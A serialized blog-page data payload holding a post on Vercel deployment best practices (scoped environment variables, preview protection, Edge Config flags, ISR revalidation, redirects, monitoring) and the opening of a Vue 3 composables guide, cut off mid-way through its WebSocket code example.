[{"data":1,"prerenderedAt":13868},["ShallowReactive",2],{"blog-paginated-count":3,"blog-paginated-14":4,"blog-paginated-cats":13224},640,[5,644,3188,5009,5261,5823,6349,9427,9781,10330,10596,11586,11892,12330,13125],{"id":6,"title":7,"author":8,"body":11,"category":626,"date":627,"description":628,"extension":629,"featured":630,"image":631,"keywords":632,"meta":635,"navigation":115,"path":636,"readTime":208,"seo":637,"stem":638,"tags":639,"__hash__":643},"blog/blog/vercel-deployment-best-practices.md","Vercel Deployment Best Practices: Shipping With Confidence",{"name":9,"bio":10},"James Ross Jr.","Strategic Systems Architect & Enterprise Software Developer",{"type":12,"value":13,"toc":614},"minimark",[14,18,22,25,30,33,36,47,54,58,65,68,71,75,78,212,215,219,222,232,239,250,254,257,262,314,317,324,328,331,334,337,412,415,419,422,431,535,538,542,545,548,551,555,561,564,567,576,578,582,610],[15,16,7],"h1",{"id":17},"vercel-deployment-best-practices-shipping-with-confidence",[19,20,21],"p",{},"Vercel is arguably the best frontend deployment platform in existence right now. The developer experience is genuinely excellent — push to GitHub, deployment happens, preview URL appears in your PR. For Next.js specifically, it is the obvious default choice. But \"it works\" and \"it is set up well\" are two different things. Most teams I work with are using Vercel at about 30% of its capability and leaving real reliability, performance, and security gains on the table.",[19,23,24],{},"Here is how I configure Vercel for production projects.",[26,27,29],"h2",{"id":28},"separate-environments-from-the-start","Separate Environments From the Start",[19,31,32],{},"Vercel automatically creates preview deployments for every branch and pull request. That is the feature that sells most teams. But the environment configuration around it matters enormously.",[19,34,35],{},"Create three environments explicitly: Development, Preview, and Production. Each gets its own set of environment variables. This is not optional — your preview environment should point to a staging database, not your production database. I have seen teams skip this step and have testers accidentally mutate production data through preview deployments.",[19,37,38,39,43,44,46],{},"In your Vercel dashboard under Project Settings > Environment Variables, scope each variable to its environment. Your ",[40,41,42],"code",{},"DATABASE_URL"," for production points to your production Postgres instance. Your ",[40,45,42],{}," for preview and development points to a separate staging or test instance.",[19,48,49,50,53],{},"Mark sensitive variables as sensitive (Vercel encrypts them and prevents display after setting). Reference them in code via ",[40,51,52],{},"process.env.DATABASE_URL"," as normal.",[26,55,57],{"id":56},"preview-deployments-are-a-feature-use-them","Preview Deployments Are a Feature, Use Them",[19,59,60,61,64],{},"Every pull request gets a unique URL like ",[40,62,63],{},"my-app-git-feature-branch-myorg.vercel.app",". This is enormously useful when used deliberately.",[19,66,67],{},"Add the preview URL to your PR template and require QA sign-off on the preview before merging. If you use GitHub Actions, Vercel's GitHub integration automatically posts the preview URL as a PR comment. Enable this in your integration settings.",[19,69,70],{},"For teams that need protected preview environments — staging that requires authentication — Vercel supports password protection on non-production deployments. Set this up under Project Settings > Deployment Protection. Do not expose staging APIs or admin interfaces to the open internet, even via an obscure preview URL.",[26,72,74],{"id":73},"edge-config-for-fast-feature-flags","Edge Config for Fast Feature Flags",[19,76,77],{},"One of Vercel's most underused features is Edge Config, a globally distributed key-value store with read latencies under 1ms. This is the right tool for feature flags that need to take effect without a redeploy.",[79,80,85],"pre",{"className":81,"code":82,"language":83,"meta":84,"style":84},"language-typescript shiki shiki-themes github-dark","import { get } from \"@vercel/edge-config\";\n\nExport async function isFeatureEnabled(feature: string): Promise\u003Cboolean> {\n const value = await get\u003Cboolean>(feature);\n return value ?? false;\n}\n","typescript","",[40,86,87,110,117,164,189,206],{"__ignoreMap":84},[88,89,92,96,100,103,107],"span",{"class":90,"line":91},"line",1,[88,93,95],{"class":94},"snl16","import",[88,97,99],{"class":98},"s95oV"," { get } ",[88,101,102],{"class":94},"from",[88,104,106],{"class":105},"sU2Wk"," \"@vercel/edge-config\"",[88,108,109],{"class":98},";\n",[88,111,113],{"class":90,"line":112},2,[88,114,116],{"emptyLinePlaceholder":115},true,"\n",[88,118,120,123,126,129,133,136,140,143,147,150,152,155,158,161],{"class":90,"line":119},3,[88,121,122],{"class":98},"Export ",[88,124,125],{"class":94},"async",[88,127,128],{"class":94}," function",[88,130,132],{"class":131},"svObZ"," isFeatureEnabled",[88,134,135],{"class":98},"(",[88,137,139],{"class":138},"s9osk","feature",[88,141,142],{"class":94},":",[88,144,146],{"class":145},"sDLfK"," string",[88,148,149],{"class":98},")",[88,151,142],{"class":94},[88,153,154],{"class":131}," Promise",[88,156,157],{"class":98},"\u003C",[88,159,160],{"class":145},"boolean",[88,162,163],{"class":98},"> {\n",[88,165,167,170,173,176,179,182,184,186],{"class":90,"line":166},4,[88,168,169],{"class":94}," const",[88,171,172],{"class":145}," value",[88,174,175],{"class":94}," =",[88,177,178],{"class":94}," await",[88,180,181],{"class":131}," get",[88,183,157],{"class":98},[88,185,160],{"class":145},[88,187,188],{"class":98},">(feature);\n",[88,190,192,195,198,201,204],{"class":90,"line":191},5,[88,193,194],{"class":94}," return",[88,196,197],{"class":98}," value ",[88,199,200],{"class":94},"??",[88,202,203],{"class":145}," false",[88,205,109],{"class":98},[88,207,209],{"class":90,"line":208},6,[88,210,211],{"class":98},"}\n",[19,213,214],{},"Store your feature flags in Edge Config. Toggle them from the Vercel dashboard. Changes propagate globally in seconds without triggering a deployment. This is materially better than environment variable-based feature flags, which require a redeploy to change.",[26,216,218],{"id":217},"environment-variable-hygiene","Environment Variable Hygiene",[19,220,221],{},"A few rules I enforce on every Vercel project.",[19,223,224,225,228,229,231],{},"Never put secrets directly in your ",[40,226,227],{},"vercel.json"," or commit them to your repository. The ",[40,230,227],{}," file is committed. Anything in it is public to anyone with repository access.",[19,233,234,235,238],{},"Use the Vercel CLI to set secrets: ",[40,236,237],{},"vercel env add MY_SECRET production",". This pushes the value to Vercel's encrypted storage without it ever touching your filesystem or git history.",[19,240,241,242,245,246,249],{},"For local development, run ",[40,243,244],{},"vercel env pull .env.local"," to download your development environment variables to a local ",[40,247,248],{},".env.local"," file. This file is gitignored by default in Next.js projects. This is the workflow that keeps everyone on the team using the same configuration without sharing secrets through Slack.",[26,251,253],{"id":252},"build-configuration-and-caching","Build Configuration and Caching",[19,255,256],{},"Vercel caches your build output aggressively, but you need to structure your project to benefit from it.",[19,258,259,260,142],{},"Set your build cache correctly in ",[40,261,227],{},[79,263,267],{"className":264,"code":265,"language":266,"meta":84,"style":84},"language-json shiki shiki-themes github-dark","{\n \"buildCommand\": \"npm run build\",\n \"outputDirectory\": \".next\",\n \"framework\": \"nextjs\"\n}\n","json",[40,268,269,274,288,300,310],{"__ignoreMap":84},[88,270,271],{"class":90,"line":91},[88,272,273],{"class":98},"{\n",[88,275,276,279,282,285],{"class":90,"line":112},[88,277,278],{"class":145}," \"buildCommand\"",[88,280,281],{"class":98},": ",[88,283,284],{"class":105},"\"npm run build\"",[88,286,287],{"class":98},",\n",[88,289,290,293,295,298],{"class":90,"line":119},[88,291,292],{"class":145}," \"outputDirectory\"",[88,294,281],{"class":98},[88,296,297],{"class":105},"\".next\"",[88,299,287],{"class":98},[88,301,302,305,307],{"class":90,"line":166},[88,303,304],{"class":145}," \"framework\"",[88,306,281],{"class":98},[88,308,309],{"class":105},"\"nextjs\"\n",[88,311,312],{"class":90,"line":191},[88,313,211],{"class":98},[19,315,316],{},"If you are using a monorepo, configure the root directory explicitly. Vercel's monorepo support is solid — point it at your frontend package, and it will only rebuild when files in that package change.",[19,318,319,320,323],{},"For dependency caching, the default behavior caches ",[40,321,322],{},"node_modules"," based on your lockfile hash. This works well. Where teams go wrong is installing non-npm dependencies (native binaries, system packages) without accounting for the build environment. Vercel build containers run on Amazon Linux. If you need native binaries, test your build locally with an equivalent environment first.",[26,325,327],{"id":326},"incremental-static-regeneration-done-right","Incremental Static Regeneration Done Right",[19,329,330],{},"If you are using Next.js with ISR (Incremental Static Regeneration), understand what \"stale-while-revalidate\" actually means in Vercel's context.",[19,332,333],{},"When a revalidation period expires, the next request serves the stale page while a revalidation is triggered in the background. The following request gets the fresh page. This is excellent for performance but means your content is always slightly behind your database.",[19,335,336],{},"Configure appropriate revalidation times for your content type. A news site might use 60 seconds. A marketing page might use 3600 seconds. An e-commerce product page with live inventory needs either very short revalidation or on-demand revalidation triggered by your backend when inventory changes:",[79,338,340],{"className":81,"code":339,"language":83,"meta":84,"style":84},"// Trigger from your backend when product updates\nawait fetch(`https://yoursite.com/api/revalidate?path=/products/${productId}`, {\n method: \"POST\",\n headers: { Authorization: `Bearer ${process.env.REVALIDATION_TOKEN}` },\n});\n",[40,341,342,348,370,380,407],{"__ignoreMap":84},[88,343,344],{"class":90,"line":91},[88,345,347],{"class":346},"sAwPA","// Trigger from your backend when product updates\n",[88,349,350,353,356,358,361,364,367],{"class":90,"line":112},[88,351,352],{"class":94},"await",[88,354,355],{"class":131}," fetch",[88,357,135],{"class":98},[88,359,360],{"class":105},"`https://yoursite.com/api/revalidate?path=/products/${",[88,362,363],{"class":98},"productId",[88,365,366],{"class":105},"}`",[88,368,369],{"class":98},", {\n",[88,371,372,375,378],{"class":90,"line":119},[88,373,374],{"class":98}," method: ",[88,376,377],{"class":105},"\"POST\"",[88,379,287],{"class":98},[88,381,382,385,388,391,394,397,399,402,404],{"class":90,"line":166},[88,383,384],{"class":98}," headers: { Authorization: ",[88,386,387],{"class":105},"`Bearer ${",[88,389,390],{"class":98},"process",[88,392,393],{"class":105},".",[88,395,396],{"class":98},"env",[88,398,393],{"class":105},[88,400,401],{"class":145},"REVALIDATION_TOKEN",[88,403,366],{"class":105},[88,405,406],{"class":98}," },\n",[88,408,409],{"class":90,"line":191},[88,410,411],{"class":98},"});\n",[19,413,414],{},"Never trust that ISR will serve fresh data for user-specific or time-critical content. That content should always be fetched client-side or via server-rendered dynamic routes.",[26,416,418],{"id":417},"custom-domains-and-ssl","Custom Domains and SSL",[19,420,421],{},"Vercel handles SSL certificate provisioning automatically via Let's Encrypt. Once you add a custom domain, it provisions a certificate and configures HTTPS without any action on your part.",[19,423,424,425,428,429,142],{},"What you do need to configure: redirect ",[40,426,427],{},"www"," to your apex domain (or vice versa, but be consistent). Set up a redirect rule in your ",[40,430,227],{},[79,432,434],{"className":264,"code":433,"language":266,"meta":84,"style":84},"{\n \"redirects\": [\n {\n \"source\": \"/:path*\",\n \"has\": [{ \"type\": \"host\", \"value\": \"www.yourdomain.com\" }],\n \"destination\": \"https://yourdomain.com/:path*\",\n \"permanent\": true\n }\n ]\n}\n",[40,435,436,440,448,453,465,495,507,518,524,530],{"__ignoreMap":84},[88,437,438],{"class":90,"line":91},[88,439,273],{"class":98},[88,441,442,445],{"class":90,"line":112},[88,443,444],{"class":145}," \"redirects\"",[88,446,447],{"class":98},": [\n",[88,449,450],{"class":90,"line":119},[88,451,452],{"class":98}," {\n",[88,454,455,458,460,463],{"class":90,"line":166},[88,456,457],{"class":145}," \"source\"",[88,459,281],{"class":98},[88,461,462],{"class":105},"\"/:path*\"",[88,464,287],{"class":98},[88,466,467,470,473,476,478,481,484,487,489,492],{"class":90,"line":191},[88,468,469],{"class":145}," \"has\"",[88,471,472],{"class":98},": [{ ",[88,474,475],{"class":145},"\"type\"",[88,477,281],{"class":98},[88,479,480],{"class":105},"\"host\"",[88,482,483],{"class":98},", ",[88,485,486],{"class":145},"\"value\"",[88,488,281],{"class":98},[88,490,491],{"class":105},"\"www.yourdomain.com\"",[88,493,494],{"class":98}," }],\n",[88,496,497,500,502,505],{"class":90,"line":208},[88,498,499],{"class":145}," \"destination\"",[88,501,281],{"class":98},[88,503,504],{"class":105},"\"https://yourdomain.com/:path*\"",[88,506,287],{"class":98},[88,508,510,513,515],{"class":90,"line":509},7,[88,511,512],{"class":145}," \"permanent\"",[88,514,281],{"class":98},[88,516,517],{"class":145},"true\n",[88,519,521],{"class":90,"line":520},8,[88,522,523],{"class":98}," }\n",[88,525,527],{"class":90,"line":526},9,[88,528,529],{"class":98}," ]\n",[88,531,533],{"class":90,"line":532},10,[88,534,211],{"class":98},[19,536,537],{},"Also configure your DNS with Vercel's nameservers rather than adding a CNAME record to an external DNS provider. Vercel's DNS gives you access to features like DDoS protection, automatic SSL renewal, and faster propagation.",[26,539,541],{"id":540},"monitoring-and-alerting","Monitoring and Alerting",[19,543,544],{},"Vercel's Analytics dashboard gives you Core Web Vitals data from real user sessions. Enable it. It costs money on paid plans but the LCP, CLS, and FID data from production traffic is more actionable than Lighthouse scores from a dev machine.",[19,546,547],{},"Set up spend alerts under your account billing settings. Vercel's pricing is consumption-based — serverless function invocations, bandwidth, edge middleware executions. On a traffic spike, costs can escalate faster than you expect. A budget alert at a sensible threshold means you find out from an email, not from your credit card statement.",[19,549,550],{},"Connect Vercel to your error monitoring tool (Sentry, Axiom, Datadog). Vercel's own logging is useful for deployments, but real-time error tracking with stack traces requires a dedicated tool. The Sentry Vercel integration takes about five minutes to configure and is worth every minute.",[26,552,554],{"id":553},"the-deployment-checklist","The Deployment Checklist",[19,556,557,558,560],{},"Before you go live on Vercel, run through this list: custom domain configured and verified, ",[40,559,427],{}," redirect set, environment variables scoped per environment, preview deployments password protected if they expose sensitive data, spend alerts configured, error monitoring connected, ISR revalidation times appropriate for your content.",[19,562,563],{},"Vercel removes the operational overhead of running frontend infrastructure. Use that savings to be deliberate about the configuration that remains yours to manage.",[565,566],"hr",{},[19,568,569,570,393],{},"If you are setting up Vercel for a production application and want a second opinion on the configuration, book a call at ",[571,572,573],"a",{"href":573,"rel":574},"https://calendly.com/jamesrossjr",[575],"nofollow",[565,577],{},[26,579,581],{"id":580},"keep-reading","Keep Reading",[583,584,585,592,598,604],"ul",{},[586,587,588],"li",{},[571,589,591],{"href":590},"/blog/zero-to-production-nuxt-vercel","Zero to Production: My Nuxt + Vercel Deployment Pipeline",[586,593,594],{},[571,595,597],{"href":596},"/blog/github-best-practices","GitHub Best Practices: Branch Strategy, PRs, and Repo Organization",[586,599,600],{},[571,601,603],{"href":602},"/blog/cdn-configuration-guide","CDN Configuration: Making Your Static Assets Load Instantly Everywhere",[586,605,606],{},[571,607,609],{"href":608},"/blog/cloudflare-pages-guide","Cloudflare Pages: The Fastest Way to Deploy Your Frontend",[611,612,613],"style",{},"html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}",{"title":84,"searchDepth":119,"depth":119,"links":615},[616,617,618,619,620,621,622,623,624,625],{"id":28,"depth":112,"text":29},{"id":56,"depth":112,"text":57},{"id":73,"depth":112,"text":74},{"id":217,"depth":112,"text":218},{"id":252,"depth":112,"text":253},{"id":326,"depth":112,"text":327},{"id":417,"depth":112,"text":418},{"id":540,"depth":112,"text":541},{"id":553,"depth":112,"text":554},{"id":580,"depth":112,"text":581},"DevOps","2026-03-03","Practical Vercel deployment best practices — preview environments, environment variables, edge config, and performance optimization for production apps.","md",false,null,[633,634],"Vercel deployment","Vercel best practices",{},"/blog/vercel-deployment-best-practices",{"title":7,"description":628},"blog/vercel-deployment-best-practices",[640,641,626,642],"Vercel","Deployment","Frontend","7EaAtSXTZmBrFmGOrzbLHYYgTwnfBSQluG35GkagGAw",{"id":645,"title":646,"author":647,"body":648,"category":3174,"date":627,"description":3175,"extension":629,"featured":630,"image":631,"keywords":3176,"meta":3179,"navigation":115,"path":3180,"readTime":509,"seo":3181,"stem":3182,"tags":3183,"__hash__":3187},"blog/blog/vue-3-composables-guide.md","Vue 3 Composables: The Reusability Pattern That Changes Everything",{"name":9,"bio":10},{"type":12,"value":649,"toc":3160},[650,653,656,660,663,670,673,677,1434,1437,1457,1461,1466,1469,1819,1832,1836,2009,2012,2055,2059,2351,2355,2555,2558,2717,2721,2724,2727,2738,2741,2755,2759,2762,2967,2970,2974,2997,3000,3115,3118,3120,3127,3129,3131,3157],[19,651,652],{},"Composables are the single most important pattern in Vue 3, and most developers are not using them to their full potential. I see codebases with composables that are little more than named collections of refs — none of the cross-component reuse, none of the lifecycle encapsulation, none of the abstraction power that makes the pattern valuable.",[19,654,655],{},"This guide is about composables done correctly: when they genuinely help, what makes them well-designed, and the patterns from real production applications.",[26,657,659],{"id":658},"what-makes-a-good-composable","What Makes a Good Composable",[19,661,662],{},"A composable is a function that uses Vue's Composition API to encapsulate stateful logic. The distinguishing feature is that it can use reactive state, computed properties, lifecycle hooks, and watchers — and all of those things get properly cleaned up when the component using the composable is unmounted.",[19,664,665,666,669],{},"A good composable does one thing well. It has a clear name that starts with ",[40,667,668],{},"use"," and describes the logical concern. It returns only what callers need — not everything it uses internally. It handles its own cleanup.",[19,671,672],{},"A bad composable is a bag of loosely related refs and functions that happened to be grouped together. That is not reusability, that is just organization.",[26,674,676],{"id":675},"the-anatomy-of-a-well-designed-composable","The Anatomy of a Well-Designed Composable",[79,678,680],{"className":81,"code":679,"language":83,"meta":84,"style":84},"// composables/useWebSocket.ts\ninterface WebSocketOptions {\n url: string\n onMessage?: (data: unknown) => void\n reconnectInterval?: number\n}\n\nExport function useWebSocket(options: WebSocketOptions) {\n const { url, onMessage, reconnectInterval = 3000 } = options\n\n const status = ref\u003C'connecting' | 'connected' | 'disconnected' | 'error'>('disconnected')\n const lastMessage = ref\u003Cunknown>(null)\n let socket: WebSocket | null = null\n let reconnectTimer: ReturnType\u003Ctypeof setTimeout> | null = null\n\n function connect() {\n status.value = 'connecting'\n socket = new WebSocket(url)\n\n socket.onopen = () => {\n status.value = 'connected'\n }\n\n socket.onmessage = (event) => {\n const data = JSON.parse(event.data)\n lastMessage.value = data\n onMessage?.(data)\n }\n\n socket.onclose = () => {\n status.value = 'disconnected'\n if (reconnectInterval > 0) {\n reconnectTimer = setTimeout(connect, reconnectInterval)\n }\n }\n\n socket.onerror = () => {\n status.value = 'error'\n }\n }\n\n function send(data: unknown) {\n if (socket?.readyState === WebSocket.OPEN) {\n socket.send(JSON.stringify(data))\n }\n }\n\n function disconnect() {\n if (reconnectTimer) clearTimeout(reconnectTimer)\n reconnectInterval = 0 // prevent reconnection\n socket?.close()\n }\n\n // Automatically connect when used in a component\n onMounted(connect)\n\n // Automatically disconnect when component unmounts\n onUnmounted(disconnect)\n\n return {\n status: readonly(status),\n lastMessage: readonly(lastMessage),\n send,\n disconnect,\n connect,\n }\n}\n",[40,681,682,687,697,707,735,745,749,753,775,809,813,856,880,904,934,939,950,961,977,982,1000,1010,1015,1020,1041,1062,1073,1081,1086,1091,1107,1117,1134,1148,1153,1158,1163,1179,1189,1194,1199,1204,1222,1241,1262,1267,1272,1277,1287,1301,1314,1326,1331,1336,1342,1351,1356,1362,1371,1376,1383,1395,1406,1412,1418,1424,1429],{"__ignoreMap":84},[88,683,684],{"class":90,"line":91},[88,685,686],{"class":346},"// composables/useWebSocket.ts\n",[88,688,689,692,695],{"class":90,"line":112},[88,690,691],{"class":94},"interface",[88,693,694],{"class":131}," WebSocketOptions",[88,696,452],{"class":98},[88,698,699,702,704],{"class":90,"line":119},[88,700,701],{"class":138}," url",[88,703,142],{"class":94},[88,705,706],{"class":145}," string\n",[88,708,709,712,715,718,721,723,726,729,732],{"class":90,"line":166},[88,710,711],{"class":131}," onMessage",[88,713,714],{"class":94},"?:",[88,716,717],{"class":98}," (",[88,719,720],{"class":138},"data",[88,722,142],{"class":94},[88,724,725],{"class":145}," unknown",[88,727,728],{"class":98},") ",[88,730,731],{"class":94},"=>",[88,733,734],{"class":145}," void\n",[88,736,737,740,742],{"class":90,"line":191},[88,738,739],{"class":138}," reconnectInterval",[88,741,714],{"class":94},[88,743,744],{"class":145}," number\n",[88,746,747],{"class":90,"line":208},[88,748,211],{"class":98},[88,750,751],{"class":90,"line":509},[88,752,116],{"emptyLinePlaceholder":115},[88,754,755,757,760,763,765,768,770,772],{"class":90,"line":520},[88,756,122],{"class":98},[88,758,759],{"class":94},"function",[88,761,762],{"class":131}," useWebSocket",[88,764,135],{"class":98},[88,766,767],{"class":138},"options",[88,769,142],{"class":94},[88,771,694],{"class":131},[88,773,774],{"class":98},") {\n",[88,776,777,779,782,785,787,790,792,795,797,800,803,806],{"class":90,"line":526},[88,778,169],{"class":94},[88,780,781],{"class":98}," { ",[88,783,784],{"class":145},"url",[88,786,483],{"class":98},[88,788,789],{"class":145},"onMessage",[88,791,483],{"class":98},[88,793,794],{"class":145},"reconnectInterval",[88,796,175],{"class":94},[88,798,799],{"class":145}," 3000",[88,801,802],{"class":98}," } ",[88,804,805],{"class":94},"=",[88,807,808],{"class":98}," options\n",[88,810,811],{"class":90,"line":532},[88,812,116],{"emptyLinePlaceholder":115},[88,814,816,818,821,823,826,828,831,834,837,839,842,844,847,850,853],{"class":90,"line":815},11,[88,817,169],{"class":94},[88,819,820],{"class":145}," status",[88,822,175],{"class":94},[88,824,825],{"class":131}," ref",[88,827,157],{"class":98},[88,829,830],{"class":105},"'connecting'",[88,832,833],{"class":94}," |",[88,835,836],{"class":105}," 'connected'",[88,838,833],{"class":94},[88,840,841],{"class":105}," 'disconnected'",[88,843,833],{"class":94},[88,845,846],{"class":105}," 'error'",[88,848,849],{"class":98},">(",[88,851,852],{"class":105},"'disconnected'",[88,854,855],{"class":98},")\n",[88,857,859,861,864,866,868,870,873,875,878],{"class":90,"line":858},12,[88,860,169],{"class":94},[88,862,863],{"class":145}," lastMessage",[88,865,175],{"class":94},[88,867,825],{"class":131},[88,869,157],{"class":98},[88,871,872],{"class":145},"unknown",[88,874,849],{"class":98},[88,876,877],{"class":145},"null",[88,879,855],{"class":98},[88,881,883,886,889,891,894,896,899,901],{"class":90,"line":882},13,[88,884,885],{"class":94}," let",[88,887,888],{"class":98}," socket",[88,890,142],{"class":94},[88,892,893],{"class":131}," WebSocket",[88,895,833],{"class":94},[88,897,898],{"class":145}," null",[88,900,175],{"class":94},[88,902,903],{"class":145}," null\n",[88,905,907,909,912,914,917,919,922,925,928,930,932],{"class":90,"line":906},14,[88,908,885],{"class":94},[88,910,911],{"class":98}," reconnectTimer",[88,913,142],{"class":94},[88,915,916],{"class":131}," ReturnType",[88,918,157],{"class":98},[88,920,921],{"class":94},"typeof",[88,923,924],{"class":98}," setTimeout> ",[88,926,927],{"class":94},"|",[88,929,898],{"class":145},[88,931,175],{"class":94},[88,933,903],{"class":145},[88,935,937],{"class":90,"line":936},15,[88,938,116],{"emptyLinePlaceholder":115},[88,940,942,944,947],{"class":90,"line":941},16,[88,943,128],{"class":94},[88,945,946],{"class":131}," connect",[88,948,949],{"class":98},"() {\n",[88,951,953,956,958],{"class":90,"line":952},17,[88,954,955],{"class":98}," status.value ",[88,957,805],{"class":94},[88,959,960],{"class":105}," 'connecting'\n",[88,962,964,967,969,972,974],{"class":90,"line":963},18,[88,965,966],{"class":98}," socket ",[88,968,805],{"class":94},[88,970,971],{"class":94}," new",[88,973,893],{"class":131},[88,975,976],{"class":98},"(url)\n",[88,978,980],{"class":90,"line":979},19,[88,981,116],{"emptyLinePlaceholder":115},[88,983,985,988,991,993,996,998],{"class":90,"line":984},20,[88,986,987],{"class":98}," socket.",[88,989,990],{"class":131},"onopen",[88,992,175],{"class":94},[88,994,995],{"class":98}," () ",[88,997,731],{"class":94},[88,999,452],{"class":98},[88,1001,1003,1005,1007],{"class":90,"line":1002},21,[88,1004,955],{"class":98},[88,1006,805],{"class":94},[88,1008,1009],{"class":105}," 'connected'\n",[88,1011,1013],{"class":90,"line":1012},22,[88,1014,523],{"class":98},[88,1016,1018],{"class":90,"line":1017},23,[88,1019,116],{"emptyLinePlaceholder":115},[88,1021,1023,1025,1028,1030,1032,1035,1037,1039],{"class":90,"line":1022},24,[88,1024,987],{"class":98},[88,1026,1027],{"class":131},"onmessage",[88,1029,175],{"class":94},[88,1031,717],{"class":98},[88,1033,1034],{"class":138},"event",[88,1036,728],{"class":98},[88,1038,731],{"class":94},[88,1040,452],{"class":98},[88,1042,1044,1046,1049,1051,1054,1056,1059],{"class":90,"line":1043},25,[88,1045,169],{"class":94},[88,1047,1048],{"class":145}," data",[88,1050,175],{"class":94},[88,1052,1053],{"class":145}," JSON",[88,1055,393],{"class":98},[88,1057,1058],{"class":131},"parse",[88,1060,1061],{"class":98},"(event.data)\n",[88,1063,1065,1068,1070],{"class":90,"line":1064},26,[88,1066,1067],{"class":98}," lastMessage.value ",[88,1069,805],{"class":94},[88,1071,1072],{"class":98}," data\n",[88,1074,1076,1078],{"class":90,"line":1075},27,[88,1077,711],{"class":131},[88,1079,1080],{"class":98},"?.(data)\n",[88,1082,1084],{"class":90,"line":1083},28,[88,1085,523],{"class":98},[88,1087,1089],{"class":90,"line":1088},29,[88,1090,116],{"emptyLinePlaceholder":115},[88,1092,1094,1096,1099,1101,1103,1105],{"class":90,"line":1093},30,[88,1095,987],{"class":98},[88,1097,1098],{"class":131},"onclose",[88,1100,175],{"class":94},[88,1102,995],{"class":98},[88,1104,731],{"class":94},[88,1106,452],{"class":98},[88,1108,1110,1112,1114],{"class":90,"line":1109},31,[88,1111,955],{"class":98},[88,1113,805],{"class":94},[88,1115,1116],{"class":105}," 'disconnected'\n",[88,1118,1120,1123,1126,1129,1132],{"class":90,"line":1119},32,[88,1121,1122],{"class":94}," if",[88,1124,1125],{"class":98}," (reconnectInterval ",[88,1127,1128],{"class":94},">",[88,1130,1131],{"class":145}," 0",[88,1133,774],{"class":98},[88,1135,1137,1140,1142,1145],{"class":90,"line":1136},33,[88,1138,1139],{"class":98}," reconnectTimer ",[88,1141,805],{"class":94},[88,1143,1144],{"class":131}," setTimeout",[88,1146,1147],{"class":98},"(connect, reconnectInterval)\n",[88,1149,1151],{"class":90,"line":1150},34,[88,1152,523],{"class":98},[88,1154,1156],{"class":90,"line":1155},35,[88,1157,523],{"class":98},[88,1159,1161],{"class":90,"line":1160},36,[88,1162,116],{"emptyLinePlaceholder":115},[88,1164,1166,1168,1171,1173,1175,1177],{"class":90,"line":1165},37,[88,1167,987],{"class":98},[88,1169,1170],{"class":131},"onerror",[88,1172,175],{"class":94},[88,1174,995],{"class":98},[88,1176,731],{"class":94},[88,1178,452],{"class":98},[88,1180,1182,1184,1186],{"class":90,"line":1181},38,[88,1183,955],{"class":98},[88,1185,805],{"class":94},[88,1187,1188],{"class":105}," 'error'\n",[88,1190,1192],{"class":90,"line":1191},39,[88,1193,523],{"class":98},[88,1195,1197],{"class":90,"line":1196},40,[88,1198,523],{"class":98},[88,1200,1202],{"class":90,"line":1201},41,[88,1203,116],{"emptyLinePlaceholder":115},[88,1205,1207,1209,1212,1214,1216,1218,1220],{"class":90,"line":1206},42,[88,1208,128],{"class":94},[88,1210,1211],{"class":131}," send",[88,1213,135],{"class":98},[88,1215,720],{"class":138},[88,1217,142],{"class":94},[88,1219,725],{"class":145},[88,1221,774],{"class":98},[88,1223,1225,1227,1230,1233,1236,1239],{"class":90,"line":1224},43,[88,1226,1122],{"class":94},[88,1228,1229],{"class":98}," (socket?.readyState ",[88,1231,1232],{"class":94},"===",[88,1234,1235],{"class":98}," WebSocket.",[88,1237,1238],{"class":145},"OPEN",[88,1240,774],{"class":98},[88,1242,1244,1246,1249,1251,1254,1256,1259],{"class":90,"line":1243},44,[88,1245,987],{"class":98},[88,1247,1248],{"class":131},"send",[88,1250,135],{"class":98},[88,1252,1253],{"class":145},"JSON",[88,1255,393],{"class":98},[88,1257,1258],{"class":131},"stringify",[88,1260,1261],{"class":98},"(data))\n",[88,1263,1265],{"class":90,"line":1264},45,[88,1266,523],{"class":98},[88,1268,1270],{"class":90,"line":1269},46,[88,1271,523],{"class":98},[88,1273,1275],{"class":90,"line":1274},47,[88,1276,116],{"emptyLinePlaceholder":115},[88,1278,1280,1282,1285],{"class":90,"line":1279},48,[88,1281,128],{"class":94},[88,1283,1284],{"class":131}," disconnect",[88,1286,949],{"class":98},[88,1288,1290,1292,1295,1298],{"class":90,"line":1289},49,[88,1291,1122],{"class":94},[88,1293,1294],{"class":98}," (reconnectTimer) ",[88,1296,1297],{"class":131},"clearTimeout",[88,1299,1300],{"class":98},"(reconnectTimer)\n",[88,1302,1304,1307,1309,1311],{"class":90,"line":1303},50,[88,1305,1306],{"class":98}," reconnectInterval ",[88,1308,805],{"class":94},[88,1310,1131],{"class":145},[88,1312,1313],{"class":346}," // prevent reconnection\n",[88,1315,1317,1320,1323],{"class":90,"line":1316},51,[88,1318,1319],{"class":98}," socket?.",[88,1321,1322],{"class":131},"close",[88,1324,1325],{"class":98},"()\n",[88,1327,1329],{"class":90,"line":1328},52,[88,1330,523],{"class":98},[88,1332,1334],{"class":90,"line":1333},53,[88,1335,116],{"emptyLinePlaceholder":115},[88,1337,1339],{"class":90,"line":1338},54,[88,1340,1341],{"class":346}," // Automatically connect when used in a component\n",[88,1343,1345,1348],{"class":90,"line":1344},55,[88,1346,1347],{"class":131}," onMounted",[88,1349,1350],{"class":98},"(connect)\n",[88,1352,1354],{"class":90,"line":1353},56,[88,1355,116],{"emptyLinePlaceholder":115},[88,1357,1359],{"class":90,"line":1358},57,[88,1360,1361],{"class":346}," // Automatically disconnect when component unmounts\n",[88,1363,1365,1368],{"class":90,"line":1364},58,[88,1366,1367],{"class":131}," 